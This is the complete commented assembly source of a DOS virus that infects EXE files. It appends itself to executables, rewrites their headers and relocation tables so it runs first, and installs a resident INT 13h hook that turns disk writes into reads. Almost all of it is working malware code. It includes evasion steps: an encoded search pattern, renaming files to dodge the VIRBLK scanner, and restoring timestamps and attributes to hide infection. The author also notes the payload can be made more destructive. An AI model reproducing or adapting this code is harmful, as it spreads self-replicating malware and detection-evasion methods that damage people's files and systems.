;--------------------------------------------------------------------; ; ; ; EXE virus, with resident part ; ; ; ; ---- infecting program ---- ; ; ; ;--------------------------------------------------------------------; ;--------------------------------------------------------------------; ; ; ; WARNING : it's definitely NOT safe to assemble and execute ; ; this code. If anybody has to, I highly reccomend using ; ; a diskette and debugger. ; ; ; ;--------------------------------------------------------------------; ;********************************************************************* ;--------------------------------------------------------------------; ; ; ; The EXE virus concept is as follows: ; ; ; ; First, original Disk Transfer Address is preserved to avoid ; ; changing command-line text. Also initial values of CS, IP, SS, SP ; ; DS and ES are saved (to be restored on exit from virus code). ; ; Virus is to be appended to original code and, of course, has ; ; to be relocated before it's executed. Thus, first we look for ; ; an EXE file. Then we have to know if this is in fact an EXE ; ; (checking for magic 'MZ' signature) and if there is any free space ; ; in relocation table. This is checked by substracting relocation ; ; table end (i.e. sum of table start and number of relocation items, ; ; multiplied by table entry size) from EXE header size. ; ; Smart virus shouldn't infect a file that's already infected. ; ; So first 4 bytes of code to be executed is compared against ; ; virus code. If they match one another, no infection takes place. ; ; Having found suitable file, we compute its code end and append ; ; virus at the end of code, writing alignment to last 512-bytes page ; ; boundary if necessary. Original start address is preserved inside ; ; virus, and CS:IP value in EXE header gets changed, so that virus ; ; code would be executed first. Number of pages gets changed, ; ; together with Last Page Size and Number Of Relocation Items. ; ; New relocation item address is appended to relocation table, ; ; pointing to the segment of the far jump in virus (this is the jump ; ; virus uses to return to original code). ; ; Upon returning from virus, all saved registers and DTA are ; ; restored to reestablish environment state as if no virus existed. ; ; ; ; Virus also installs resident part, if it is not already present. ; ; This part's job is to replace all disk 'writes' with corresponding ; ; 'reads'. It's rather unharmful, but can easily be replaced with ; ; more dangerous one (if somebody is really keen to be called ...). ; ; Instalation can be removed with equal ease, as well. ; ; ; ; The real trouble with EXEs is that DOS pays a little (if any) ; ; attention to Last Page Size. Therefore EXE files ofen have this ; ; zeroed, even if they have some code on the last page. Writing to ; ; last page can cause system crash while infected file is being ; ; executed. To solve the problem, one should first test if EXE file ; ; really ends as the header contents say and move to last page end ; ; instead of appending any bytes, if possible. ; ; ; ; Another problem is infecting EXEs containg debug info. ; ; It comes in various formats, and often contains vital informations ; ; placed behind code. This info gets destroyed when file becomes ; ; infected. I see no solution to this problem, so far. ; ; ; ;--------------------------------------------------------------------; ;********************************************************************; ;--------------------------------------------------------------------; ; ; ; SEGMENT dummy ; ; ; ; Raison d'etre of this segment is to force assembling of ; ; the JMP FAR after the execution of virus code. ; ; ; ; This segment serves also to make it possible for the infecting ; ; program to return to DOS. ; ; ; ;--------------------------------------------------------------------; dummy segment 'dummy' assume cs: dummy d_end label far ; this is the point virus jumps to ; after executing itself mov ah, 4Ch int 21h ; DOS EXIT function dummy ends ;--------------------------------------------------------------------; ; ; ; SEGMENT code ; ; ; ; Code for virus (including its resident part). ; ; ; ; Executed from label start:. Exits via dummy:d_end. ; ; ; ;--------------------------------------------------------------------; code segment 'code' public start, jump, old_IP, old_CS, old_DTA, public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux public last_page, page_count, item_count, header_size, table_start public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP public not_ok, time, date, attributes, new_name, found_name public restore_and_close, dot, seek_dot, next_letter, install_flag public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES public resident, resident_size, l1, call_int, install, set_DS assume cs : code, ds : code ;--------------------------------------------------------------------; ; ; ; Here are symbolic names for memory locations ; ; ; ;--------------------------------------------------------------------; ; First go names for EXE header contents EXE_sign equ word ptr [header] last_page equ word ptr [header + 2] page_count equ word ptr [header + 4] item_count equ word ptr [header + 6] header_size equ word ptr [header + 8] header_SS equ word ptr [header + 0Eh] header_SP equ word ptr [header + 10h] header_IP equ word ptr [header + 14h] header_CS equ word ptr [header + 16h] table_start equ word ptr [header + 18h] ; Now names for address of mother program old_IP equ word ptr [jump + 1] old_CS equ word ptr [jump + 3] ; Segment to put resident part in, for instance end of 2nd Hercules page resident_CS equ 0BFFEh ; And label for the name of the file found by Find_First and Find_Next found_name equ DTA + 1Eh ; Last is virus length virus_length equ offset header ;------------ Now starts virus code --------------------------------; ; First original values of SS, SP, ES, DS are preserved, ; and new values for this registers are set start: mov cx, ss ; temporarily save SS in CX mov dx, sp ; and SP in DX mov ax, cs ; now AX = CODE cli ; disable hard ints while changing stack mov ss, ax ; now SS = CODE mov sp, 0FFFFh ; and SS points to segment end sti ; hardware interrupts are OK now push ds ; preserve DS on stack push es ; same with ES push cs pop ds ; set DS to CODE mov [old_SS], cx ; now as DS is CODE, we can store mov [old_SP], dx ; original SS and SP in memory ; Original DTA is preserved now mov ah, 2Fh int 21h mov word ptr [old_DTA], bx ; now ES:BX points to DTA mov word ptr [old_DTA + 2], es ; save its address in memory ; Call to Get_DTA would have destroyed ES. Now set it push ds ; set ES to CODE pop es ; And now new DTA is established for virus disk actions mov dx, offset DTA ; DS:DX point to new DTA mov ah, 1Ah int 21h ; Store original INT_13 vector for use in resident part mov ax, 3513h int 21h ; DOS Get_Interrupt_Vector function mov [int_IP], bx ; now ES:BX holds INT_13 vector mov [int_CS], es ; store it inside resident part ; Check if resident part already present mov ax, es ; compare can work with AX cmp ax, resident_CS ; check if this is resident_CS jnz install ; no, so install cmp bx, 0 ; is offset 0 ? jnz install ; no, so install ; Resident part found, do not install mov [install_flag], 0 ; signal 'no installing' jmp short set_ES ; and omit copying code ; Now resident part is moved to its place in memory install: mov ax, resident_CS mov es, ax ; ES = segment for resident part xor di, di ; DI = 0, resident starts from offset 0 mov si, offset resident ; SI = offset in DS for resident part mov cx, resident_size ; CX = size of resident part cld ; set auto increment rep movsb ; copy resident part from DS:SI to ES:DI mov [install_flag], 1 ; signal 'instal vector' ; Reestablish destroyed ES to CODE set_ES: push ds pop es ; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery mov si, offset file_name ; name pattern starts there mov cx, 5 ; and is 5 bytes long next_letter: inc byte ptr [si] ; decode by incrementing by one inc si loop next_letter ; decode all 5 bytes ; Find an EXE file mov dx, offset file_name ; DS:DX points to '*.EXE' mov cx, 20h ; search for read-only files too mov ah, 4Eh ; DOS Find_First function int 21h ; now DTA gets filled with info jnc check ; no carry means file found ; jump to check if to infect file jmp exit ; no EXE file - nothing to do ; Find next EXE file, if necessary next: mov ah, 4Fh ;DOS Find_Next function int 21h jnc check ; see jumps after Find_First jmp exit ; for explanation ; Check if file should and can be infected ; First of all, get file attributes check: mov dx, offset found_name ; DS:DX points to found file name mov ax, 4300h ; DOS Get_File_Attributes function int 21h ; attributes returned in CX mov [attributes], cx ; preserve them in memory ; Then change file attributes to 'neutral' mov dx, offset found_name ; DS:DX points to found file name xor cx, cx ; CX = 0 - means no attributes set mov ax, 4301h ; DOS Set_File_Attributes function int 21h ; attributes to be set in CX ; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????. mov si, offset found_name ; DS:DX points to found file name mov di, offset new_name ; ES:DI points to new name cld ; set auto increment ; Copy old name to new name until dot found seek_dot: lodsb ; get character at DS:SI cmp al, '.' ; check if it is a dot stosb ; copy it anyway to ES:DI jz dot ; dot found, end of copying loop seek_dot ; if no dot, copy next character ; DOS requires ASCIIZ strings, so append a byte of 0 to new name dot: xor al, al ; AL = 0 stosb ; store 0 to byte at ES:DI ; Now rename can be performed mov dx, offset found_name ; DS:DX points to old name mov di, offset new_name ; ES:DI points to new name mov ah, 56h ; DOS Rename_File function int 21h ; It is safe to open file now mov dx, offset new_name ; DS:DX points to file name mov ax, 3D02h ; DOS Open_File_Handle fuction int 21h ; open file for reading and writing jc next ; carry set means for some reason ; operation failed ; try to find next file ; Preserve handle for just open file in BX register mov bx, ax ; all DOS calls require handle in BX ; Now store original file time and date, to be restored on closing the file mov ax, 5700h ; DOS Get_File_Time_Date function int 21h ; time returned in CX, date in DX mov [time], cx ; store time in memory mov [date], dx ; same with date ; Read EXE header to memory mov dx, offset header ; DS:DX = place to read header to mov cx, 1Ah ; header is 1Ah bytes long mov ah, 3Fh ; DOS Read_Handle function int 21h ; Check if it is a real EXE, not just EXE-named file check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should ; contain 'MZ' characters jne not_ok ; if not, don't proceed with file ; It is EXE, check if it is already infected ; by comparing code start with itself ; Compute where code in file starts mov ax, [header_CS] ; get start CS for file add ax, [header_size] ; add header size mov cx, 16 ; above were in 16 bytes units mul cx ; so multiply by 16 ; DX|AX holds result add ax, [header_IP] ; add for IP adc dx, 0 ; propagate carry if necessasry ; Now DX|AX holds file offset for code start, move there mov cx, dx ; set registers for DOS call mov dx, ax mov ax, 4200h ; DOS Move_File_Ptr function int 21h ; move relatively to start ; Read first four bytes of code mov dx, offset aux ; DS:DX = place to read code into mov cx, 4 ; CX = number of bytes to read mov ah, 3Fh ; DOS Read_Handle function int 21h ; Compare them with itself mov di, offset aux ; ES:DI points to code from file mov si, offset start ; DS:SI points to itself start mov cx, 2 ; CX = number of words to compare cld ; set auto increment repe cmpsw ; compare while equal je not_ok ; equal = infected, don't proceed ; Check if there is space in relocation table to put one more item ; Calculate where Relocation_Table ends mov ax, [item_count] ; get number of Relocation Items inc ax ; add for new one mov cx, 4 ; each one is 4 bytes long mul cx ; so multiply by 4 ; DX|AX holds result add ax, [table_start] ; add offset of Relocation_Table adc dx, 0 ; process carry ; Now DX|AX holds file offset for table end, store it temporarily in DI|SI mov di, dx ; preserve Relocation_Table offset mov si, ax ; Calculate where code starts (in file) mov ax, [header_size] ; get header size for this EXE mov cx, 10h ; as it is in 16 byte units, mul cx ; multiply by 16 ; DX|AX holds result ; See if there is free space for relocation item sub ax, si ; substract Relocation_Table end sbb dx, di jae ok ; Relocation_Table end not less ; then code start, so there IS room ; If somehow this file is not to be infected, restore it's original state not_ok: call restore_and_close jmp next ; nevertheless, try to find infectable one ; File is to be infected now ; First adjust file offset for new relocation item ok: sub si, 4 ; new item starts 4 bytes sbb di, 0 ; before Relocation_Table end ; Then preserve temporarily address of the mother code mov ax, [old_CS] ; preserve jump address via AX mov [aux_CS], ax ; in memory mov ax, [old_IP] mov [aux_IP], ax ; Form inside itself a jump to new mother start mov ax, [header_IP] ; store new mother CS:IP as jump mov [old_IP], ax ; do it via AX mov ax, [header_CS] mov [old_CS], ax ; Calculate last page alignment mov cx, [last_page] ; CX = number of bytes in last page mov ax, 200h ; AX = page size (page is 512 bytes) sub ax, cx ; CX = alignment to page boundary mov bp, ax ; preserve alignment in BP ; Calculate new CS:IP values to execute virus instead of mother mov ax, [page_count] ; get number of pages in new mother mov cx, 20h ; multiply by 32 to convert to mul cx ; 16 bytes units sub ax, [header_size] ; decrease by header size ; Modify header as necessary mov [header_CS], ax ; AX holds CS for virus xor ax, ax ; now zero AX mov [header_IP], ax ; as IP for virus is 0 add [page_count], 2 ; reserve space for virus inc [item_count] ; there'll be one more item mov [last_page], offset header ; last page will be as long ; as virus itself and [last_page], 1FFh ; modulo 512, of course ; Move to file start xor cx, cx ; start means offset 0 xor dx, dx mov ax, 4200h ; DOS Move_File_Ptr function int 21h ; move relatively to start ; Write new header mov dx, offset header ; DS:DX points to new header mov cx, 1Ah ; which is still 1A bytes long mov ah, 40h ; DOS Write_Handle function int 21h ; Move to new Relocation Item position mov cx, di ; get stored position from DI|SI mov dx, si mov ax, 4200h ; DOS Move_File_Ptr function int 21h ; move relatively to start ; Write new relocation item mov [header_IP], offset old_CS ; new Relocation Item offset ; is jump to new mother code mov dx, offset header_IP ; DS:DX = new relocation item mov cx, 4 ; exactly 4 bytes long mov ah, 40h ; DOS Write_Handle function int 21h ; Calculate file offset for new mother code end mov ax, [header_CS] ; get mother code lenght add ax, [header_size] ; add header size mov cx, 10h ; it's in 16 bytes units mul cx ; so multiply by 16 sub ax, bp ; last page is not full sbb dx, 0 ; so move back appropirately ; Move file ptr to mother code end mov cx, dx ; DX|AX = file offset to code end mov dx, ax ; set CX|DX for DOS call mov ax, 4200h ; DOS Move_File_Ptr function int 21h ; move relatively to start ; Write alignement (no matter what, only number is important) mov cx, bp ; get alignement amount mov ah, 40h ; DOS Write_Handle function int 21h ; write CX bytes ; Now prepare to append itself to EXE file ; First encode EXE name patter anew mov si, offset file_name ; DS:SI points to name pattern mov cx, 5 ; it is 5 characters long next_lttr: dec byte ptr [si] ; encode by decrement inc si loop next_lttr ; encode all 5 characters ; All ready, append itself now xor dx, dx ; DX = 0, start offset for virus code mov cx, virus_length ; CX = number of bytes to write mov ah, 40h ; DOS Write_Handle function int 21h ; No further action involving file will be taken, so restore it's state call restore_and_close ; restore date and time, close file ; Restore jump to this mother code mov ax, [aux_CS] ; restore jump addres via AX mov [old_CS], ax mov ax, [aux_IP] mov [old_IP], ax ; All done with infecting, prepare to execute mother ; Restore original DTA push ds ; preserve DS (now DS = CODE) exit: lds dx, old_DTA ; get original DTA address to DS:DX mov ah, 1Ah ; DOS Set_DTA function int 21h ; Check if install new INT_13 vector cmp [install_flag], 0 ; 0 means no installing jz set_DS ; omit installing ; Install resident part mov ax, resident_CS ; load CS for resident to DS (via AX) mov ds, ax xor dx, dx ; DS:DX = address of resident part mov ax, 2513h ; DOS Set_Interrupt_Vector function int 21h ; set vector for INT_13 set_DS: pop ds ; restore DS to CODE mov bx, [old_SS] ; BX = original SS mov cx, [old_SP] ; CX = original SP pop es ; restore original DS and ES pop ds cli ; disable hardware interrupts mov sp, cx ; while restoring original SS:SP mov ss, bx sti ; enable hardware interrupts ; Virus has done all its job, now let mother do its own jump: jmp dummy:d_end ; jump to original code ;----------- here is the one and only procedure -------------------; restore_and_close proc near ; Restore original file time and date mov cx, [time] ; get saved time mov dx, [date] ; get saved date mov ax, 5701h ; DOS Set_File_Time_Date function int 21h ; time set as CX, date as DX ; Close file mov ah, 3Eh ; DOS Close_File function int 21h ; Restore original name mov dx, offset new_name ; DS:DX points to new name mov di, offset found_name ; ES:DI points to original name mov ah, 56h ; DOS Rename_File function int 21h ; Restore original file attributes mov dx, offset found_name ; restore attributes mov cx, [attributes] mov ax, 4301h ; DOS Set_File_Attributes function int 21h ; attributes set as CX ret restore_and_close endp ;------------ and here go the resident part of the virus -------------; resident: pushf ; save flags cmp ah, 3 ; is it Disk_Write_1 ? jnz l1 ; no, check Disk_Write_2 mov ah, 2 ; yes, convert to Disk_Read_1 jmp short call_int ; and exit resident l1: cmp ah, 0Bh ; is it Disk_Write_2 ? jnz call_int ; no, exit resident mov ah, 0Ah ; yes, convert to Disk_Read_2 call_int: popf ; restore flags ; Next 5 bytes form long jump to original INT_13 handler db 0EAh ; means JMP FAR int_IP dw 0 ; and here the address to jump to int_CS dw 0 resident_size equ $ - resident ;-------- now data for virus, just encoded file name pattern -------; file_name db ')-DWD', 0 ;-------------------------------------------------------------------; ; ; ; Here VIRUS ends. The rest are purely placeholders ; ; ; ;-------------------------------------------------------------------; ;*******************************************************************; header dw 13 dup (0) old_SS dw 0 old_SP dw 0 aux_CS dw 0 aux_IP dw 0 old_DTA dd 0 time dw 0 date dw 0 attributes dw 0 install_flag db 0 new_name db 9 dup (0) DTA dw 2Ch dup (0) aux dw 2 dup (0) code ends end start